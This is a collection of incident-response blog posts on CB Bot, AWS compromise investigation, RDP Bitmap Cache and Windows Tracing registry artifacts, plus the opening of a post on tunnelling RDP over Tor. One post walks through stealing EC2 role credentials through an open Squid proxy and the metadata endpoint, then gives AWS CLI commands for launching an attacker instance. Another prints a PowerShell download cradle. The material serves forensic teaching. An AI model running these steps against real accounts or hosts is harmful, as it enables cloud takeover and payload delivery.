Today, I release CB Bot! CB Bot is a threat hunting and incident response web application framework to use with Carbon Black (CB) Defense. Not only will you be able to run commands and execute files, but you will also be able to upload and download any files you want within your environment! I've created this a while back with the amazing help of an awesome buddy of mine (who wanted to remain anonymous) because we felt that CB should be able to help users hunt and find evil quicker.

Before We Get Started

For folks who haven't met me, I am an automation freak. I try to automate almost anything I can. I truly believe that automation should not replace a person, but instead, make a person perform better and work faster. Especially in incident response investigations, where time is critical, I believe that automation is key.

So with that said, before you continue, make sure you follow along if you can! If you have a Carbon Black account and want to test this out, clone the CB Bot repository: https://www.github.com/allthingsdfir/cb-bot. Make sure you install it and configure it, as mentioned in the Github repository, before you read on. If you do not have Carbon Black, don't worry, hopefully this blog post will give you an idea for your  environment's own EDR platform and how to automate to do better threat hunting activities.

The Basics

In order to start sweeping (hunting) for evil across your CB environment, first log into CB Bot and head over to the Endpoints page on the navigation pane to your left. Once you're there, just click the Refresh List button on the top right corner of the page and this will create a task for you. Results should be fairly quick, but you can check out the job you've created on the Tasks page.

In CB Bot, there are two (2) kinds of tasks: a job or a sweep. The task that we just ran to refresh the endpoint list in your CB environment is a job. There is only one job at the moment, but as CB Bot gets smarter, there will be more jobs to do. Sweeps, on the other hand, are the different hunts that you can run in your environment. When you go to your Tasks page, you'll get to see both of them. In Figure 1 below, you'll see just one (1) task created, which is the "Refresh Endpoint List" job.

You'll notice that on the top right of the page there is a message box. These are alerts created whenever a task completes or errors out. So whenever you run something and log back in a couple of hours later, if a task finishes, CB Bot will let you know via an alert. Now, if you want to check out the Endpoints page, you'll see all of the endpoints reporting in your CB environment. You can also check the total number of endpoints in the Home page as shown in Figure 2 below. You'll also notice that the Last Updated Endpoint List section indicates when was the last time a CB Bot user has refreshed the list.

Let's Sweep!

Now that we have all the endpoints in our environment, we can start sweeping (hunting). You'll notice that when you click the Sweep tab on the navigation pane, two (2) options pop up: build and run. Installing CB Bot out of the box comes with default sweeps and I've created these to facilitate the threat hunting processes for any CB environment. However, that does not mean that these are the only sweeps available. You can most certainly build one by going to the build section of the Sweep tab. This will allow you to see all the sweeps that have been created and allow you create sweeps of your own.

Pro Tip: You can create custom sweeps per operating system. Just make sure to indicate what operating system you want to run this sweep on and CB Bot will take care of that for you.

Assuming you've created your own sweep type or are using one of the ones I've created, you can go to the run section of the Sweep tab to start sweeping! It's quite simple. All you need to do is select the Sweep Type and fill out all of the necessary details below such as Sweep Name. For example, let's sweep for "AppCompatCache". Figure 3 will show how I've configured this sweep.

And that's it! All you do now is click the Run Sweep! button below and CB Bot will take care of the rest. Once you have that going, you can check the status of the sweep by clicking on the Tasks page as you can see below in Figure 4.

In fact, in this page you can pause a sweep or restart it as you see fit. I've had to occasionally restart sweeps since I wanted to make sure to give CB Bot a break sometimes. If for some reason sweeps don't get completed, at least you can take a closer look at the sweep details to understand why the unfinished endpoints keep failing. In most cases it could be due to the minimum check in time (i.e. review the settings for CB Bot) or because of certain script fails. In my experience with many EDR tools in the past, getting to around 90 percent sweep completion is more than enough to find some evil. Figure 5 shows a screenshot of the sweep details for our recently created "AppCompat Hunt" sweep.

When CB Bot collects results from a sweep, it will place it in a directory for CB Bot users to download. In order to access the data, just SFTP to your CB Bot instance, and you should see a folder called sweep_output, and within it will be all of your sweeps following the naming convention <task_number>_<sweep_name>. I use FileZilla to connect to my demo server, and it will look something like Figure 6 below.

Conclusion

CB Bot should make it a lot easier for CB users to hunt across their network. Granted, this type of hunt will collect historical data and does not implement any of the real-time data that CB collects. However, having historical data is good to have from time to time. I enjoy performing routine check-ups on things like Run keys, AppCompatCache data, or even Terminal Services event logs to see what has been happening.

Due to my lack in proper coding training (i.e. I never took a Python course ever in my life), I'm sure that CB Bot could be far more efficient. Right now, my goal is to create more sweeps so that those who do use this tool, can benefit tremendously from it as I have in the past. If you're interested in contributing to CB Bot and providing some sweeps of your own, I would be more than glad to have your sweep on this repo. If you see a bug, or something that could be done to make CB Bot far more efficient, please do let me know! I'm always willing to learn how to make things better. Hope you all enjoy! Happy hunting.

In Part I of this series, we talked a bit about AWS fundamentals and how to leverage exposed EC2 instances and AWS metadata to do whatever you want (of course, given proper permissions 😉). In Part II of this series, we will go over the defensive side of AWS: how to protect against these potential attacks, and how to investigate if you suspect a compromise, or AWS informed you of a potential one, on your AWS infrastructure.

Before We Get Started

As I mentioned in the previous blog post, I am no AWS expert, but throughout my threat hunting activities and investigations, I've had to learn and work with it. If you are unfamiliar with certain AWS services (EC2, S3, IAM, etc.), I highly suggest you taking a look at Part I of this series for some pointers on AWS before you continue reading.

Keep Your Guard Up!

Given the backstory, we know that a malicious EC2 instance has been run in the company's AWS account. So what do we do now? To make it really simple, I've outlined high-level points on what you need to do first before you start digging into log data. These things are extremely important, as you never know what a threat actor has/hasn't done yet. Since there is a likelihood that bad guys could have deleted logs and potentially disabled logging, you would want to turn it back on again. If they are active and attempt another attack, at least this time around you'll be able to see something. I won't show you exactly how to enable these, but I will provide great resources that do show you how to do it. These are the two (2) things you need to enable.

1. Enable VPC Flow Logs - These would capture allowed and/or denied network traffic through your VPC network. Ideally, with VPC Flow Data, you would be able to see the incoming and outgoing connections from your network, thus ideally narrowing down on the IP address of interest. Here's a great article on how to enable them: https://aws.amazon.com/blogs/aws/vpc-flow-logs-log-and-view-network-traffic-flows/
2. Enable CloudTrail Logs - CloudTrail logs capture user activity as well as API usage. Basically anything that an AWS user account does, including using the AWS console, will be recorded here. Note: this is extremely important for this specific scenario. Here's another great AWS article on how to enable CloudTrail logs: https://aws.amazon.com/blogs/mt/streamline-aws-cloudtrail-logs-using-event-filters/

From a forensic analysis standpoint, I'll highlight the things you would want to look at first before we dive into the details of some of them. Here are the six (6) things that you would want to start digging into when it's time for an investigation:

1. Analyze CloudTrail Logs
2. Analyze CloudWatch Logs
3. Analyze VPC Flow Logs
4. Review EC2 instances and settings
5. Review IAM user accounts, roles, policies
6. Review S3 buckets

These won't cover every possible AWS compromise scenario, but it should be more than enough to get you at least started with finding evil. These are not ordered in terms of priority, so feel free to tackle each of these as you see fit. In this blog post we will be only covering bullets 1 and 4, as they would yield to a chunk of decent forensic data.

Rolling Up Our Sleeves

In order to figure out where to start, let's assume that Bob received an email from AWS indicating that there has been suspected malicious traffic originating from one of his instances. Given his limited AWS knowledge, he does not recognize the AWS EC2 instance ID that AWS has provided. However, as his security team, we are tasked to finding evil.

Reviewing EC2 instances

Given that we know that there has been something suspicious coming from an AWS EC2 instance, we will have to start there. First thing we need to do, is take a look at the instance that was reported. If we have the ID, we can search for it in the search bar as shown below.

Filtering them could make it easier for you to identify which one it is, if you have a ton of instances like I do. Some other keys to pivot off of if you do not have the ID for the malicious instance are:

• Security Groups
• Launch Time
• IAM Instance Profile
• Key Name

These can help you narrow down which ones could be malicious. Granted, it is also really important to even review the known EC2 instances that you do have as well, just to ensure that the security groups, IAM profile and keys are the correct ones and do not need any additional tweaks. Additionally, please make sure to also review each of the regions as well! EC2 instances work per region, so each region may have their own instances and their own security groups as well! So don't forget to take a look at those as well.

Once you find the responsible instance, click on it's details to identify what settings did the attacker configure the instance to have. In this scenario, we know that our bad guy created a security group and an SSH key as well. Leveraging the instance details from the malicious server, we can pivot into those individual sections on the left hand side of the page.

Taking a look at these two sections will clearly give us an insight if  the attacker placed any additional keys or created additional security groups in the AWS account. In this case, it was only just one security group and one SSH key. The two (2) figures below show what the threat actor has done against Bob's company.

With all that data, you should have a clear story of what was done. However, I fully recommend a review on all security groups and key pairs as well to ensure that is up to date. Like the instances, please make sure to also review each of the regions as well! It's a great way to keep up with your AWS account if you don't manage it regularly.

Pro Tip: If you are as organized as I am and run 20+ instances, I recommend creating tags for all of them. That way it will make it easier to search and filter based on what you want!

Once you've collected all of the details, try to create a text file of all of the indicators that you have extracted, this will come in handy for looking at the CloudTrail logs. If you also want to dive into the forensics of the instances to determine what they did on the malicious EC2 server, create an image of it. Simply right click on the instance, then under Image > Create Image, and you should be able to create an image. Otherwise, you can also mount the volume onto your analysis server and analyze it that way. The only thing you would need to do then is  head over to the Volumes section on the left hand side of the page, select the volume associated to the malicious instance, right click and select Detach Volume and then Attach Volume to your analysis server.

Analyzing CloudTrail Logs

This is by far one of the most important log sources you could find when it comes to user activity, especially for this particular scenario that we have drawn up. In this case, we know that the threat actor managed to create an EC2 instance with its own security group and SSH keys. If you're looking for the easiest way to get a timeline of events to understand what happened, CloudTrail is your answer. Note: CloudTrail is not enabled by default, so if you have never enabled it, I highly recommend it.

Let's get started! When you head over to the CloudTrail service page within AWS, click on Event history, which is located on the left hand side of the page. You may or may not see a bunch of data on a table, however, regardless of that, what's important to note is that you can filter by all sorts of interesting things such as: AWS Access Key, Event ID, Event Source, etc.

Of course, the first thing you want to do is filter based off of the date and time of the incident. In this case, let's filter for all the activity on August 9, 2019. Now, in my case I see a ton of data that I may need to go through. However, for you all, it may be a bit lighter (i.e. depends on how many services and activities you have running).

If you look at the column Event Name, it lists all of the actions/events that are done by a user or via the API. Now, let's take a step back and think about what would an attacker do. Here we know that they ran an EC2 instance. So, how about we search for that instead? In order to do so, let's filter in the search bar above. Click on the drop-down and select Event name. Next to it, let's type in the same command name that we used in Part I of this series, remove the dashes, and convert it to camel case. Therefore, run-instances would be equal to RunInstances.

As you can tell in the User name column, we see something that looks like an instance ID. Why would an instance ID show up as a user? Well, that's because we assigned a role to our proxy server instance in Part I! So this means that any activity coming from the access keys generated for that instance, will show up as activity belonging to that EC2 instance. So how about we filter for that User name with that instance ID?

Great! We found all of the activity pertaining to that one instance. Now, if there were more activity conducted with other instances you could filter for those and even export it into a CSV format. CloudTrail logs provide a perfect timeline of what has occurred from a user and API standpoint.

If you click each of the entries you can get to see data related to the action that was run. So in the case of running an EC2 instance, you would be able to see pretty much everything, including  what AMI was used, what source IP did it originate from, what SSH key was used, etc. In fact, in Figure 6, you can see multiple run-instance attempts by the threat actor (i.e. basically me trying to figure out AWS CLI 😂). Not all of them were successful, so if you dive in on those, you can get to see what was the error. In Figure 8, we get to see that it was successful in that instance since Error Code is blank.

Remember, CloudTrail is your friend when it comes to conducting an Incident Response investigation. It will provide you with the timeline that you need if this type of incident were to happen in your environment.

Taking It Further

All these things that we have looked at are great for when it comes to forensics, but what about threat hunting? Absolutely! You can create an AWS Lambda function that can ingest CloudTrail logs or you could simply collect them from S3 (if you're storing them there), and stack the data accordingly. You could search for specific functions that you are interested in, for example: SSH key or security group creation.

Conclusion

Hope you enjoyed this article. If you have any comments on specific AWS artifacts or how to make this even better, please don't hesitate to leave a comment below! We're always looking to make these blog posts entertaining and useful. 'Til next time!

The more I hear about Amazon Web Services (AWS), the more I feel we need to dive in it a bit. With everyone moving to "the cloud", it's important to understand how things work before you go off and deploy an insecure/vulnerable server in your environment. However, like in most cases, it's easy to follow a YouTube video or a quick blog on how to spin up a server without considering roles, permissions, security groups, etc. In this blog post, I'll walk through a potential AWS scenario where an EC2 server manages to bend the its IAM role to deploy an additional EC2 server! Not only will I point out how to execute an attack, but also how to view it from the defensive side (Part II).

Before We Get Started

First off, I am no AWS guru, but I've had to learn it for my threat hunting activities and incident response investigations throughout my professional experience. Therefore, I may not dive deep in certain topics or areas that may not be relevant to this post.

Second, if you're unfamiliar with AWS and their services, don't fret! Some of the services we will be covering are:

• CloudTrail - This service provides event logging for your AWS account. Therefore, by enabling CloudTrail, AWS will start recording all of the activity in your AWS account.
• EC2 - Elastic Cloud Computing. Whenever you hear EC2 instance, just think of a server deployed in your AWS environment. EC2 is where you would see all of your server instances based on a specific region. Each instance can have their own Security Group, which allows inbound and outbound access to specific IP addresses or IP ranges on different ports.
• IAM - Identity and Access Management. This allows you to manage access to all of your AWS services and resources in a secure manner. Here you would create accounts, groups, roles and permissions for anything related to AWS.
  *  An account or a service (e.g. EC2 instance) may have roles.
  *  Each role may have multiple policies.
  *  Policies contain the "rules" for granting access to certain services in AWS.
• S3 - Simple Storage Service. People often refer to this as S3 buckets given that AWS stores data in what they call buckets. In general terms, think of it as a hard drive stored in the cloud where you can put files in it.
• SSM - AWS Systems Manager Agent (SSM Agent). If EC2 instances have this software installed, it allows users to manage their systems using this agent. Thus giving the ability for system administrators to update instances across an account, collect data, etc.
• VPC - Virtual Private Cloud. As the name suggests, it's like having a dedicated network in the cloud for your resources. You ideally would place EC2 instances in your VPC to group them as you would in your internal network.

In this exercise, we are running an AWS AMI that has Squid proxy installed. However, most of this should be applicable with any sort of web proxy.

IMPORTANT NOTE: This blog post is intended for educational purposes only. Do not try this on systems and networks that you do not own or do not have the permission to test.

Background Story

A sysadmin has been tasked with setting up a proxy for their users to be able to access certain websites that are blocked from wherever the users are. In this case, users cannot even access Google! Turns out the sysadmin , Bob, decides to spin up a Squid proxy server in AWS. Given that Bob has little experience in AWS, he decides to create a simple VPC to host an EC2 instance running Squid proxy. However, little did he know, the IAM role that he created for the EC2 instance called "squidward", was allowing access to a bunch of services, and this is what the policy looks like:

Additionally, since Bob needed to allow access for all of the company's users to access the proxy from wherever they wanted, he opened up the ports to the entire Internet and gave it its own external IP. Now everyone outside the office can have access to the proxy just like the company's users requested!

Let's Kick Off Our Offense

Out in the wild there are hundreds of scanners looking for vulnerable systems. You have folks looking for RDP, SSH, and even Squid proxies. By default, Squid works on port 3128, unless you specify it to a different port and even determining that should be fairly easy. At least from a Squid proxy standpoint, they have a landing page that will contain an error message, indicating that the URL is invalid. Therefore, if you attempt to automate GET requests on an IP address using different ports, you may be able to figure out which port is Squid running on.

However, what's more important is what I've pointed with the red arrow in the figure above: the server's hostname. Granted, you can't see much there since I have redacted the hostname, but what's important is the "format" of it. When it comes to AWS, EC2 system names would be assigned in the format ip-###-###-###-###. So, for example, if my system had an internal IP of 10.50.10.198, my hostname would be ip-10-50-10-198. Knowing this can lead you to think that this server is definitely an AWS instance.

Given our basic knowledge of AWS, EC2 instances have the capability to inherit a role, which in turn allows the instance itself to perform actions on the AWS account. All we are going to do is tell the exposed server to perform actions against the AWS account for our benefit. All the actions would be tracked legitimately (only if CloudTrail is enabled since AWS will think it's an instance interacting with an AWS account) and we can do basically whatever the role is entitled to do.

So how do we do that? Well, it's as simple as looking at an EC2 instance's metadata and user data. In order to do that, we can simply run a curl command on the server to get that information.  All we need to do is curl 169.254.169.254, and of course include the path of what we are looking for... but, wait! We got a proxy... we got an address... Boom, proxy the address! So instead of even needing to get a terminal session on the server, we can just leverage the proxy to do what we want. Think of this almost as a Remote Code Execution (RCE) attack (not really), even though none of the things we have set up are vulnerable to that (that I know of). So if we query the following URL:

http://169.254.169.254/latest/meta-data/

We will get the following (Note: I have configured my Firefox  browser to take in the Squid proxy settings):

#Victory 🎉! Now we have a bunch of data that we can extract from the server. Instead of going over all of the items with you, you can refer to the documentation page "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html" for more information on all of the potential data you can collect. In the figures below you can see I queried for Access Keys, Secret Access Keys, Tokens, and the AWS region:

The reason why I'm targeting these specifically, is so that we can use the AWS Command Line Interface (CLI) to manage the AWS account using the "squidward" role that was "given" to us. And since we know that the policies allows us to interact with S3 and EC2 services, we have an endless number of opportunities, but in this case, we will just be leveraging EC2 instances. Since we have the token and it isn't possible to supply that via the AWS CLI, you need to create an AWS file called credentials within the .aws directory that contains the token. The file should look something like the following:

[default]
aws_access_key_id = <access_key>
aws_secret_access_key = <secret_key>
output = json
region = us-west-2
aws_session_token = <a_very_long_token>

In this blog we will only cover the creation of EC2 instances, but bear in mind that the possibilities are endless. The following commands were run in order to create an SSH key, security-group, and an EC2 instance using a public Ubuntu image (Note: you can refer to what Ubuntu AMI you want to use on this page: https://cloud-images.ubuntu.com/locator/ec2):

aws ec2 describe-vpcs

aws ec2 describe-subnets

aws ec2 create-key-pair --key-name test-key

aws ec2 create-security-group --description "This is a test group created via AWS CLI" --group-name test-sg-group --vpc-id <vpc_id>

aws ec2 authorize-security-group-ingress --group-id <sg_id>  --protocol tcp --port 22 --cidr 10.0.0.0/10

aws ec2 run-instances --image-id ami-0ed98c2d455b78d35 --count 1 --instance-type m4.large --key-name test-key --security-group-ids <sg_id> --subnet-id <subnet_id>

In this case, my security group rule is opened up to my lab (10.0.0.0/10), but if you want to see it from a threat actors standpoint, you would want to open it up to the world by changing that to 0.0.0.0/0. Once you run those commands, you can essentially get a malicious system that is only accessible using your custom generated SSH key, which you should be able to access from the outside and gain access to systems on the inside. Imagine all of the things you could do by having a computer on the inside!

What Else?

Now, given the IAM role and the policies attached to it, for this scenario, a threat actor can work with EC2 and create instances, security groups, etc. However, how about other services? Let's say CloudTrail, S3, or even SSM? An attacker could ultimately:

1. Disable CloudTrail logging to go in the dark.
2. Create S3 buckets to dump files and exfiltrate data.
3. Run shell scripts using the SSM agent.

Possibilities are endless and it ultimately depends on what role was given to an instance and what services these roles have access to.

Up Next

In this blog post we covered the offensive aspect of a potential AWS compromise. In Part II of this series, we will be covering the defensive side of it (including some offensive tidbits) and show you how you can protect against these kinds of attacks.

It's been a while since I last wrote a blog post. I've been busy building cool stuff and hunting for evil, so now I'm back to writing blog posts. For a while, I have had folks ask me about RDP Bitmap Cache and why I love it, so I decided to write one about it. It's definitely not new, but it's something that not a lot of people talk about it. And to be perfectly honest, it pretty much boils down to the question: is it even useful for forensics? Every time I try to answer this question, I always get divided opinions, and that's absolutely acceptable. But since I have had great success with this artifact in the past, I decided to write one up. So, let's all get nerdy about RDP Bitmap Cache 🤓 (WARNING: this is not the last emoji that you will see in this blog post).

Why Do I Care?

I love forensics and being able to solve complex puzzles. However, when you deal with other folks that aren't really that technical, they would rather have you show them what happened, instead of trying to explain technical concepts such as: what is AppCompatCache or what is Mimikatz. I have found in a couple of investigations that this artifact is by far the best one to show folks exactly what the attacker was viewing. In fact, in some cases, I have been able to help clients determine that data has been exilfrated from their environment or even show that malware has been dumped on different domains and systems that we didn't have visibility into. Like they say, "a picture is worth a thousand words", and it really resonates to what RDP Bitmap Cache represents.

So, What Is RDP Bitmap Cache?

Remote Desktop Protocol (RDP) as you all know, is a protocol developed by Microsoft that allows users to connect to other Windows operating systems with a graphical user interface (GUI). In order to enhance the RDP user experience and reduce the data throughput on your network, RDP Bitmap Cache was implemented. In layman's terms, what this essentially does, is store bitmap sized images of your RDP sessions into a file so that your session reuses these images and reduces the potential lag. Originally, this was designed when we thought dial-up Internet was legit and it was what we had to connect to other systems (side note: if you have not experienced Internet at dial-up speeds, you are 0xDEADBEEF 🥩 to me). The following image provides a screenshot of this option being set by default on Windows systems:

It is very important to note that these files are present only on the client system and not on the connecting host. This means that if an attacker connected to a compromised system via RDP from one of their own devices, you will not likely be able to collect this artifact. However, if an attacker decides to hop around your network, look at the source systems where the attacker is connecting from, and try to get these cache files.

Breaking It Down 🕵🏻‍♂️

I read this French bulletin by ANSSI/CERT-FR a while back and they provide a great breakdown of Bitmap Cache, but the problem is that it's in French and je ne parle pas français. But due to the beauty of the Internet, I was able to translate the whole bulletin, so, I will try my best to extract what was important from this writeup.

You can find these RDP Bitmap Cache files in two (2) different paths depending on your operating. If you are an archaic savage and still use Windows XP , they are located in the following path:

C:\Documents and Settings\<user_account>\Local Settings\Application Data\Microsoft\Terminal Server Client\Cache\*

However, for Windows 7 and above, they are located in the following location:

C:\Users\<user_account>\AppData\Local\Microsoft\Terminal Server Client\Cache\*

You can also change the path of where these files get cached if you wanted to, by playing around with the registry keys. Now, in terms of what you will see in these paths are two (2) different types of files. You have bcache##.bmc and Cache####.bin files. Note that the # represents a numeric value.

The "bcache" files are used for older versions of Windows and the max size that I have seen these files get to is 20MB. When I tested on a Windows 7 machine, these "bcache" files get created, along with the "Cache####.bin" files. These "bcache" files will either have the numbers 2, 22, or 24, and these numbers represent the quality of the bitmap images, in Bits Per Pixel (BPP), that are stored in their respective "bcache" files.  Therefore, these files,represent the following bitmap image quality:

• "bcache2.bmc" stores bitmap images in 8 BPP
• "bcache22.bmc" stores bitmap images in 16 BPP
• "bcache24.bmc" stores bitmap images in 32 BPP

When attempting to render a bitmap image, the only difference is the quality and whether you can see things clearly.

On the other side, we have the "Cache####.bin" files are used for Windows 7 machines and above. The max size that these files get is up to 100MB, so once they reach the limit, Windows will start rolling out new files. They start at 0000 and increment from there (e.g. Cache0001.bin, Cache0002.bin, etc).

How Do I Parse These Bad Boys?

There aren't that many tools that can parse these files, but the ones that are out there, are outstanding. One of my favorite ones, and the one that is maintained the most, is "BMC Tools" by ANSSI/CERT-FR. Recently, in 2018, they added a feature that combines bitmap images together, thus stacking them one next to each other. Additionally, they parse both "bcache" and "Cache####.bin" files.

The other tool I recommend is "RDP Bitmap Cache Viewer", copyrighted to David Rees. However, this tool is no longer available and some copies can be found scattered across the world. Additionally, it only parses "bcache" files, so if you're looking to parse "Cache####.bin" files, you are out of luck. However, for this blog post, I will show you this tool, as I have collected sample "bcache" files.

Finally, you can write up a parser yourself in Python, Golang, or PowerShell.

Wanna See Some Magic?

I ran a couple of tests in my own personal lab pretending to gain access to a system via RDP. In my case, an attacker known as "T3rr1be H4ck3r" (who apparently also has terrible spelling 🤦🏻‍♂️) got access to a Windows 7 workstation, and then later jumped onto a Windows Server 2008 to dump credentials using Mimikatz. The following images represent actual screenshots of the attack, so please note that this is not the results from the Bitmap Cache files.

Now, after this incident occurred, I accessed the compromised Windows 7 workstation and collected the "bcache22.bmc" file that was present. As I mentioned before, for this "demo" I used the "RDP Bitmap Cache Viewer" tool. It is as simple as running the tool, selecting the "bcache" file, and the BPP settings. Given that it's a "bcache22.bmc" file, we know that we need to configure the settings to 16 BPP. The following figure provides a screenshot of the tool with the loaded "bcache" file:

As you can see, these are all of the bitmap cache images stacked next to each other. The simplistic beauty of this tool, is being able to resize the window. By doing so, you can shift the images according to when it was created (i.e. top-left is old, bottom-right is recent) and combining different bitmap images that could potentially be related to one another (e.g. Look at Google Chrome's "Download" bar in a sequence of bitmap images).

Now if we take a closer look into this "bcache" file, we can tell that the attacker has done a couple of things on the server:

1. Download and execute Mimikatz 😼
2. Open up his/her Gmail account (t3rr1be.h4ck3r@gmail[.]com)
3. Send an email containing domain administrator credentials
4. Troll the owner of the system (Ay caramba!)

If you want, you can open up the images below in a new tab to take a closer look at what I was able to spot, as I have circled important items in red.

Again, it's important to note that the bitmap images at the top usually indicates the oldest bitmaps recorded in this file, and that the bottom ones are the most recent ones. Therefore, if we take into account the creation of the file and the timeframes the attacker authenticated onto the server (i.e. look at the Terminal Services logs), we can come up with a story of what happened and attempt to depict it visually.

What Did We Learn In School Today 📚?

There's definitely a lot that we can grasp from these RDP Bitmap Cache images. It most certainly can give you a timeline of events that occurred in an RDP session. Granted, this is assuming that the threat actor was the only one authenticating to the server, but then again, even if multiple users, legitimate and illegitimate ones, used that workstation to authenticate to different servers, we can at least tell if malware was potentially executed (e.g. Mimikatz terminal, malicious filenames, etc). If these bitmap images were cached, at least it could also help you tell if there has been further exposure across your network.

Personally, I use this as a great marketing campaign for an investigation; get to show the other side of the table, where we can "closely" see what the attacker is viewing from his/her perspective. I hope that this blog post has shed some light on what RDP Bitmap Cache is and how you can leverage it in your investigation, and hopefully you can troll threat actors to "cache you outside" (I know, lame joke).

Whenever threat actors use malicious Microsoft Word documents or legitimate Windows system utilities (e.g. Notepad, PowerShell, etc.) to download a malicious tool or a piece of malware, it can create many different indicators on a Windows system. In this blog post, I will be covering a very interesting artifact found in the Windows registry, which indicates whenever an executable (i.e. legitimate and illegitimate) attempted to establish a network connection to download files for the first time. We will go over the "tracing" registry keys, highlight a couple of sample cases, and show you how to detect these artifacts and what they mean.

Before We Continue

This artifact is not going to give you all the answers to an investigation, but it will be helpful in identifying if a threat actor may have leveraged other systems to download malicious files. This is extremely useful when you know a threat actor is leveraging a specific tool (i.e. legitimate and illegitimate), that isn't used in the organization to do this. At the time of this blog, I was using a Windows 7 Professional Edition to extract artifacts and figures used here. With that in mind, let's dig in!

Tracing Registry Keys

Windows has a feature where it will create subkeys within the "tracing" registry key for whenever Windows needs to trace issues or monitor an application and its execution. These keys are located in the following path on a Windows 7 workstation:

HKLM\Software\Microsoft\Tracing

The majority of subkeys within the "tracing" registry key are related to Remote Access Service (RAS) (https://docs.microsoft.com/en-us/windows-hardware/drivers/network/ras-architecture-overview), which means that some of the applications that are listed under the "tracing" key attempted to establish network connections (Important Note: This does not apply to all applications that attempt network connections, which I will explain in a bit). The following figure provides a snippet of some of the keys on my Windows 7 system:

In this blog, we will be focusing only on the "RASAPI32" and "RASMANCS" registry keys, as they are the ones that are associated to the different applications listed in the figure above. Therefore, the keys that we are going to focus on are:

HKLM\Software\Microsoft\Tracing\<executable_name>_RASAPI32
HKLM\Software\Microsoft\Tracing\<executable_name>_RASMANCS

These registry keys get created the first time an application interacts with the Remote Access API, "rasapi32.dll", and the Remote Access Connection Manager, "rasman.dll". Since these Dynamic-Link Libraries (DLLs) are related to RAS, it indicates that applications that have "RASAPI32" and "RASMANCS" registry keys attempted network connections.

Therefore, using "powershell" from Figure 1 as an example, if a system administrator uses PowerShell very heavily, and used it to download files on a system, the timestamps of these registry keys would be related to the system administrator's first file download using PowerShell on the system. So, even if a threat actor managed to gain access to the machine afterwards, and leveraged PowerShell to download a malicious payload, the timestamp would not get updated, rendering this artifact a bit meaningless. Nonetheless, for this blog, let's consider that system administrators and regular users do not use PowerShell at all.

Now, back to these registry keys. Within them you will have various values that won't be really useful from a forensic standpoint, but let's quickly cover them. The figure below shows the values for the "RASAPI32" and "RASMANCS" registry keys, since they both have the same contents:

There are a couple of interesting values that standout when you look at the figure above. "FileDirectory" is the path where Windows Tracing will output trace logs, if enabled. However, since "EnableFileTracing" and "EnableConsoleTracing" are both set to "0", then no trace logs will be created for the application. Now, as a security person you would think that you would want to log these entries as they may contain useful information, but they really don't. Nevertheless, if you want to test it out, open up "regedit.exe" and edit those values to "1" to enable them.

In these figures above, I conducted three different tests to determine whether trace logs would provide any intrinsic forensic value, so I tested the three scenarios in the following order, and you will see that aside from "ProcessId", there's not much we can pivot off of.

1. Successfully connected to "www.allthingsdfir.com"
2. Attempted to connect to "www.allthingsdfir.com" without a network connection
3. Attempted to connect to a non-existing page with a network connection

Examples

After conducting various investigations and personal research, I have seen these registry keys pop up many times. In some cases you can get to see the creation of these registry keys with malicious binary names or even potentially unwanted program (PUP) names. However, since I do not have a piece of malware handy with me, here are some of the ways that I have seen that these keys can get created legitimately and illegitimately.

PowerShell

We have already seen this in the previous section, but this is by far one of the most common ones I have seen. There are malicious Microsoft Word documents out there in the wild containing PowerShell commands that attempts to download and execute a payload on a system– thus essentially creating a backdoor. Most of these commands are obfuscated or encoded in Base64, but for this blog, this is the raw command that triggers the creation of the registry key:

(New-Object Net.WebClient).DownloadString(<URL>)

Simply replace "<URL>" with the address to where the malicious script is located. By running a command like this, it will trigger Windows Tracing, which will lead to the creation of the "powershell_RASAPI32" and "powershell_RASMANCS" registry keys.

Notepad

Yes, Notepad. This is an oldie, but a goodie. If you look closely at Figure 1, you would notice that there are two "notepad" registry key entries. In order for this to happen, launch Notepad and click on "File > Open...". Once a new window is prompted, instead of searching for a filename, you can simply insert a URL and Notepad will open up a network connection, thus creating these registry keys.

From a threat actor's perspective, they can download malicious binaries and execute them on the system using Notepad, instead of having to use PowerShell. From a security standpoint, because of the "RASAPI32" and "RASMANCS" registry keys, it's easy to track. Notepad is not utility commonly used to establish network connections and let alone download files. So the existence of these keys for Notepad is a clear indicator that there is something odd.

After Thought

So what's the main point of all this? By understanding the "RASAPI32" and "RASMANCS" registry keys and going through the different examples, here's another way to identify if an application had established a network connection to potentially download a file. Even though this artifact is very specific and there are other easier ways to detect whenever a malicious file was downloaded on a system (assuming that no one uses Notepad or PowerShell to download files), it simply presents another artifact to search for.

Let's assume that a threat actor has used PowerShell to download a malicious payload on a system to create a backdoor. As a threat actor, they would most likely want to deploy various backdoors across multiple systems on the network. But let's say that due to the sophistication of the threat actor and their anti-forensics capabilities, they may delete the malware files (i.e. if any, since you can run everything in memory with PowerShell) on all systems and clear Windows Event logs. At that point, it's a bit tough to run a search across all systems to identify if the threat actor had access to them. However, with these registry keys, it's possible to say that those systems may have been impacted.

I hope that this blog post has been useful for you. I have been fascinated by this artifact for a while and I've wanted to post something about it. Hopefully this can help you identify additional compromised systems in an investigation or create additional triggers to further protect your environment. By no means am I an expert with Windows Tracing and RAS functionalities, as this has all been my personal research on it. Nonetheless, if you do get see anything that is out of the ordinary please don't hesitate to reach out! Happy hunting!

Hello everyone! Recently, I encountered a threat actor leveraging Tor to establish Remote Desktop Protocol (RDP) sessions from a victim system to an attacker-controlled server. The best part of this is, because the threat actor was using Tor, all encrypted communications were sent over port 443. Therefore, there wasn’t any evidence of RDP (port 3389) being used on the network illegitimately. In fact, we could have closed port 3389 on their firewall and the attacker would have still had access to the system via RDP. I found this very sneaky by the threat actor, but realized how simple it was to configure it and thought I would share it with everyone. In this blog post, we will cover the basics of proxying RDP traffic over TOR and how to set it up, with tips to avoid being detected.

Before We Get Started

For those of you who are unfamiliar with Tor, it’s a free and anonymous network that provides anonymity when browsing the Internet. Also known as “The Onion Router”, users of this service can “employ this network by connecting through a series of virtual tunnels rather than making a direct connection, thus allowing both organizations and individuals to share information over public networks without compromising their privacy” (Tor Project). In case you were wondering where or how to try this web browser out, download Tor from their website (www.torproject.org).

At the time of this blog post, I was using a Windows Server 2016 Datacenter to access via RDP, Parallels Remote Application Server version 16.5.0 to use as an RDP client with proxy capabilities, and Tor Browser version 7.5.6. This was tested in a network that I built specifically for this demo/exercise.

IMPORTANT NOTE: This blog post is intended for educational purposes only. Do not try this on systems and networks that you do not own or do not have the permission to test.

Setting It Up

